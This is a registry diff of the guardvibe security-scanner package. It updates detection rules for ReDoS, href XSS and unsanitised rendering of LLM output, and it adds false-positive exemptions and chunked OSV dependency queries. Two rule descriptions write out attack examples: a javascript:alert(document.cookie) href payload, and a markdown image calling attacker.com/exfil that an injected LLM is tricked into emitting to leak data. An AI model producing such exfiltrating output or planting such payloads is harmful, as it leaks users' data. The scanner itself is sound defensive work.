guardvibe 3.0.52 → 3.0.54

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -304,7 +304,7 @@ export const advancedSecurityRules = [
304
304
  severity: "medium",
305
305
  owasp: "A04:2025 Insecure Design",
306
306
  description: "Regular expression contains nested quantifiers ((a+)+), overlapping alternation with quantifiers (([a-z]+)*), or other patterns that cause catastrophic backtracking. Attackers can send crafted input to freeze the event loop.",
307
- pattern: /\/(?:[^/\\\n]|\\.)*(?:\([^)\n]*[+*][^)\n]*\)\s*[+*]|\(\?:[^)\n]*[+*][^)\n]*\)\s*[+*])(?:[^/\\\n]|\\.)*\//g,
307
+ pattern: /\/(?:[^/\\\n]|\\.)*(?:\([^)\n]*[+*][^)\n]*\)[+*]|\(\?:[^)\n]*[+*][^)\n]*\)[+*])(?:[^/\\\n]|\\.)*\//g,
308
308
  languages: ["javascript", "typescript"],
309
309
  fix: "Rewrite the regex to avoid nested quantifiers. Use atomic groups or possessive quantifiers if available, or use the 'safe-regex' library to validate patterns.",
310
310
  fixCode: '// BAD: catastrophic backtracking\nconst re = /(a+)+$/;\n\n// GOOD: no nested quantifiers\nconst re = /a+$/;\n\n// GOOD: validate with safe-regex\nimport safe from "safe-regex";\nif (!safe(pattern)) throw new Error("Unsafe regex");',
@@ -395,7 +395,7 @@ export const advancedSecurityRules = [
395
395
  severity: "medium",
396
396
  owasp: "A07:2025 Cross-Site Scripting",
397
397
  description: "User-provided URL is used directly in an href attribute without checking for dangerous protocols. Attackers can inject javascript:alert(document.cookie) to execute XSS when the link is clicked.",
398
- pattern: /href\s*=\s*\{(?:user|profile|author|post|comment|data|item|record)[\w.]*\.(?:url|website|link|href|homepage)\}/gi,
398
+ pattern: /href\s*=\s*\{(?:user|profile|author|post|comment|record|input|formData|payload)[\w.]*\.(?:url|website|link|href|homepage)\}/gi,
399
399
  languages: ["javascript", "typescript"],
400
400
  fix: "Validate that URLs start with https:// or http:// before using in href.",
401
401
  fixCode: '// BAD: XSS via javascript: protocol\n<a href={user.website}>{user.name}</a>\n\n// GOOD: protocol validation\nfunction safeHref(url: string): string {\n try {\n const parsed = new URL(url);\n if (["http:", "https:"].includes(parsed.protocol)) return url;\n } catch {}\n return "#";\n}\n<a href={safeHref(user.website)}>{user.name}</a>',
@@ -189,7 +189,7 @@ export const aiSecurityRules = [
189
189
  severity: "high",
190
190
  owasp: "A02:2025 Injection",
191
191
  description: "LLM output containing markdown images is rendered without URL validation. Attackers can trick the model into outputting ![img](https://attacker.com/exfil?data=SENSITIVE_DATA) — the browser automatically fetches the URL, silently exfiltrating data. This was exploited against Microsoft 365 Copilot in 2025.",
192
- pattern: /(?:dangerouslySetInnerHTML|innerHTML|v-html|marked|remark|rehype|unified|react-markdown)[\s\S]{0,300}?(?:message\.content|completion|output|response|aiResponse|result\.text)/gi,
192
+ pattern: /(?:dangerouslySetInnerHTML|innerHTML|v-html|<ReactMarkdown\b)[\s\S]{0,300}?(?:message\.content|completion|aiResponse|chatResponse|llmResponse|result\.text|generated_text|gpt[A-Z_]\w*|claude[A-Z_]\w*|openai\.\w+\.create)/g,
193
193
  languages: ["javascript", "typescript"],
194
194
  fix: "Sanitize LLM output before rendering as markdown. Strip or validate image URLs against an allowlist.",
195
195
  fixCode: '// Sanitize AI output before rendering markdown\nfunction sanitizeAIOutput(text: string): string {\n // Remove markdown images with external URLs\n return text.replace(/!\\[([^\\]]*)\\]\\(https?:\\/\\/[^)]+\\)/g, "[$1](link removed)");\n}\n\n// Or use a markdown renderer with image URL allowlist\n<ReactMarkdown\n components={{\n img: ({ src }) => ALLOWED_HOSTS.some(h => src?.startsWith(h)) ? <img src={src} /> : null\n }}\n>{sanitizeAIOutput(aiResponse)}</ReactMarkdown>',
@@ -225,6 +225,7 @@ const LEGITIMATE_PREFIXED_PACKAGES = new Set([
225
225
  "fast-glob", "fast-deep-equal", "fast-json-stable-stringify", "fast-json-stringify",
226
226
  "fast-xml-parser", "fast-diff", "fast-levenshtein", "fast-redact", "fast-check",
227
227
  "fast-uri", "fast-querystring", "fast-decode-uri-component", "fast-content-type-parse",
228
+ "fast-equals", "fast-fifo", "fast-shallow-equal", "fast-safe-stringify",
228
229
  "safe-array-concat", "safe-stable-stringify", "safe-buffer", "safe-regex",
229
230
  "safe-regex-test", "safe-push-apply",
230
231
  "simple-git", "simple-update-notifier", "simple-swizzle", "simple-concat",
@@ -404,6 +405,11 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
404
405
  // do expose data still get flagged.
405
406
  if (rule.id === "VG1006" && isBatchScriptFile)
406
407
  continue;
408
+ // Skip VG1008 (Admin Role Elevation Without Authorization Check) in batch scripts —
409
+ // CLI scripts under scripts/ run by the operator at the terminal; there is no HTTP
410
+ // request handler to authorize. Rule still fires inside route handlers and Server Actions.
411
+ if (rule.id === "VG1008" && isBatchScriptFile)
412
+ continue;
407
413
  // Skip VG132 (Missing Request Body Size Limit) on Next.js route handlers and
408
414
  // pages/api endpoints — Next.js/Vercel apply a default 4.5MB body limit at the
409
415
  // platform layer, which is what the rule is checking for.
@@ -630,18 +636,20 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
630
636
  }
631
637
  // VG020 (wildcard dep version) on package.json: skip the `engines` block —
632
638
  // `"node": ">=18.0.0"` is a runtime constraint, not a dependency range.
639
+ // Also skip the `overrides` block — that's npm's mechanism for *forcing* a
640
+ // minimum transitive version (security tightening), not a loose dep range.
633
641
  if (rule.id === "VG020" && filePath && /package\.json$/.test(filePath)) {
634
- let inEngines = false;
642
+ let inExemptBlock = false;
635
643
  for (let j = lineNumber - 1; j >= Math.max(0, lineNumber - 6); j--) {
636
644
  const prev = lines[j] ?? "";
637
- if (/"engines"\s*:\s*\{/.test(prev)) {
638
- inEngines = true;
645
+ if (/"(?:engines|overrides|resolutions|pnpm)"\s*:\s*\{/.test(prev)) {
646
+ inExemptBlock = true;
639
647
  break;
640
648
  }
641
649
  if (/^\s*\}/.test(prev))
642
- break; // closed a previous block — not in engines
650
+ break; // closed a previous block — not in exempt
643
651
  }
644
- if (inEngines)
652
+ if (inExemptBlock)
645
653
  continue;
646
654
  }
647
655
  // Skip hardcoded-credential rules when the value is a human-readable sentence
@@ -670,6 +678,37 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
670
678
  if (/\b[A-Z][A-Z0-9_]*\s*=\s*["']\d+["']/.test(matchedLine))
671
679
  continue;
672
680
  }
681
+ // VG106 (Timing-Unsafe Secret Comparison): skip when one operand is a React useRef
682
+ // pattern (`*Ref.current`). Refs hold local component state, not user-provided input,
683
+ // so timing attacks don't apply — there's no remote attacker controlling the comparand.
684
+ if (rule.id === "VG106") {
685
+ const matchedLine = lines[lineNumber - 1] ?? "";
686
+ if (/\b\w*Ref\.current\b/.test(matchedLine))
687
+ continue;
688
+ }
689
+ // VG126 (Dynamic RegExp from User Input): skip when the variable name signals it has
690
+ // already been escaped/sanitized (e.g. `escapedElement`, `safeQuery`, `sanitizedInput`).
691
+ if (rule.id === "VG126") {
692
+ const matchedLine = lines[lineNumber - 1] ?? "";
693
+ if (/\bnew\s+RegExp\s*\(\s*(?:escaped|escape\w*|sanitized|sanitiz\w*|safe[A-Z_]\w*|validated)\w*\b/.test(matchedLine))
694
+ continue;
695
+ }
696
+ // VG1009 (Supabase ilike/like Pattern Injection): skip when the interpolated variable
697
+ // name signals it has already been escaped (e.g. `escaped`, `safeQuery`, `sanitized`).
698
+ if (rule.id === "VG1009") {
699
+ const matchedLine = lines[lineNumber - 1] ?? "";
700
+ if (/\$\{\s*(?:escaped|escape\w*|sanitized|sanitiz\w*|safe[A-Z_]\w*|validated)/.test(matchedLine))
701
+ continue;
702
+ }
703
+ // VG426 (Missing Role Check on Admin Route): skip when the matched line is inside a
704
+ // JSDoc comment (`* GET /api/admin/...`) — the actual handler code below the doc block
705
+ // gets evaluated separately. Without this, every documented admin route fires twice
706
+ // (once on the doc-comment line, once on the handler).
707
+ if (rule.id === "VG426") {
708
+ const matchedLine = lines[lineNumber - 1] ?? "";
709
+ if (/^\s*\*\s/.test(matchedLine) || /^\s*\/\*\*/.test(matchedLine) || /^\s*\*\//.test(matchedLine))
710
+ continue;
711
+ }
673
712
  // Skip VG010 (SQL injection) on Angular HTTP service calls — http.get/post/etc.
674
713
  // are HTTP client methods, not SQL. The existing pattern's `get` keyword catches them.
675
714
  if (rule.id === "VG010") {
@@ -223,11 +223,30 @@ export async function runFullAudit(path, options) {
223
223
  }
224
224
  // --- Section 3: Dependencies ---
225
225
  if (!options?.skipDeps) {
226
- const manifestPath = resolve(projectRoot, "package.json");
226
+ // Prefer lockfiles for resolved (installed) versions over package.json spec ranges.
227
+ // package.json says `"@clerk/nextjs": "^7.0.1"` but the installed version may be 7.2.8.
228
+ // OSV needs the resolved version to give accurate vuln matches; spec lower bound
229
+ // produces false positives where the bug was already patched in a higher minor.
230
+ const lockCandidates = ["package-lock.json", "npm-shrinkwrap.json", "yarn.lock", "pnpm-lock.yaml"];
231
+ let manifestPath = resolve(projectRoot, "package.json");
232
+ for (const lock of lockCandidates) {
233
+ const lockPath = resolve(projectRoot, lock);
234
+ if (existsSync(lockPath)) {
235
+ manifestPath = lockPath;
236
+ break;
237
+ }
238
+ }
227
239
  if (existsSync(manifestPath)) {
228
240
  try {
229
241
  const depsJson = await scanDependencies(manifestPath, "json");
230
242
  const parsed = safeJsonParse(depsJson);
243
+ if (!parsed) {
244
+ // scanDependencies returned a markdown error (OSV API unreachable, parse failed, etc).
245
+ // Push a dependencies section so downstream consumers always see it; surface the
246
+ // error in `details` so users can troubleshoot instead of silently missing the section.
247
+ const errSnippet = (depsJson.match(/Error:[^\n]+/) || ["Scan failed"])[0];
248
+ sections.push({ name: "dependencies", status: "error", findings: 0, critical: 0, high: 0, medium: 0, details: errSnippet });
249
+ }
231
250
  if (parsed) {
232
251
  const vulnPackages = parsed.summary?.vulnerable ?? 0;
233
252
  const depFindings = [];
@@ -15,47 +15,51 @@ export async function queryOsv(name, version, ecosystem) {
15
15
  return data.vulns ?? [];
16
16
  }
17
17
  export async function queryOsvBatch(packages) {
18
- const queries = packages.map(pkg => ({
19
- package: { name: pkg.name, ecosystem: pkg.ecosystem },
20
- version: pkg.version,
21
- }));
22
- const response = await fetch("https://api.osv.dev/v1/querybatch", {
23
- method: "POST",
24
- headers: { "Content-Type": "application/json" },
25
- body: JSON.stringify({ queries }),
26
- signal: AbortSignal.timeout(10000),
27
- });
28
18
  const results = new Map();
29
- if (!response.ok) {
30
- throw new Error(`OSV batch API error: ${response.status} ${response.statusText}`);
31
- }
32
- const data = await response.json();
33
- // Batch API returns minimal vuln info (just id). Fetch full details for each.
34
- for (let i = 0; i < packages.length; i++) {
35
- const key = `${packages[i].name}@${packages[i].version}`;
36
- const batchVulns = data.results[i]?.vulns || [];
37
- if (batchVulns.length === 0) {
38
- results.set(key, []);
39
- continue;
19
+ // OSV batch can time out on large monorepo lockfiles (1000+ packages),
20
+ // and very-large requests can be rate-limited. Chunk into 500-pkg batches
21
+ // and process sequentially so the per-request timeout is generous.
22
+ const CHUNK_SIZE = 500;
23
+ for (let start = 0; start < packages.length; start += CHUNK_SIZE) {
24
+ const chunk = packages.slice(start, start + CHUNK_SIZE);
25
+ const queries = chunk.map(pkg => ({
26
+ package: { name: pkg.name, ecosystem: pkg.ecosystem },
27
+ version: pkg.version,
28
+ }));
29
+ const response = await fetch("https://api.osv.dev/v1/querybatch", {
30
+ method: "POST",
31
+ headers: { "Content-Type": "application/json" },
32
+ body: JSON.stringify({ queries }),
33
+ signal: AbortSignal.timeout(60000),
34
+ });
35
+ if (!response.ok) {
36
+ throw new Error(`OSV batch API error: ${response.status} ${response.statusText}`);
40
37
  }
41
- // Fetch full vulnerability details by ID
42
- const fullVulns = [];
43
- for (const bv of batchVulns) {
44
- try {
45
- const vulnResponse = await fetch(`https://api.osv.dev/v1/vulns/${bv.id}`, {
46
- signal: AbortSignal.timeout(5000),
47
- });
48
- if (vulnResponse.ok) {
49
- const vulnData = await vulnResponse.json();
50
- fullVulns.push(vulnData);
51
- }
38
+ const data = await response.json();
39
+ for (let i = 0; i < chunk.length; i++) {
40
+ const key = `${chunk[i].name}@${chunk[i].version}`;
41
+ const batchVulns = data.results[i]?.vulns || [];
42
+ if (batchVulns.length === 0) {
43
+ results.set(key, []);
44
+ continue;
52
45
  }
53
- catch {
54
- // If individual fetch fails, use minimal info
55
- fullVulns.push({ id: bv.id, summary: "Details unavailable" });
46
+ const fullVulns = [];
47
+ for (const bv of batchVulns) {
48
+ try {
49
+ const vulnResponse = await fetch(`https://api.osv.dev/v1/vulns/${bv.id}`, {
50
+ signal: AbortSignal.timeout(5000),
51
+ });
52
+ if (vulnResponse.ok) {
53
+ const vulnData = await vulnResponse.json();
54
+ fullVulns.push(vulnData);
55
+ }
56
+ }
57
+ catch {
58
+ fullVulns.push({ id: bv.id, summary: "Details unavailable" });
59
+ }
56
60
  }
61
+ results.set(key, fullVulns);
57
62
  }
58
- results.set(key, fullVulns);
59
63
  }
60
64
  return results;
61
65
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "guardvibe",
3
- "version": "3.0.52",
3
+ "version": "3.0.54",
4
4
  "mcpName": "io.github.goklab/guardvibe",
5
5
  "description": "Security MCP for vibe coding. 365 rules, 36 tools, CLI + doctor. Host security, auth coverage mapping, LLM-powered deep scan (IDOR/business logic), taint analysis. Plus Next.js, Supabase, Clerk, Stripe, Prisma, tRPC, Hono, GraphQL, Convex, Turso, Uploadthing, AI SDK, and the full AI-generated stack.",
6
6
  "type": "module",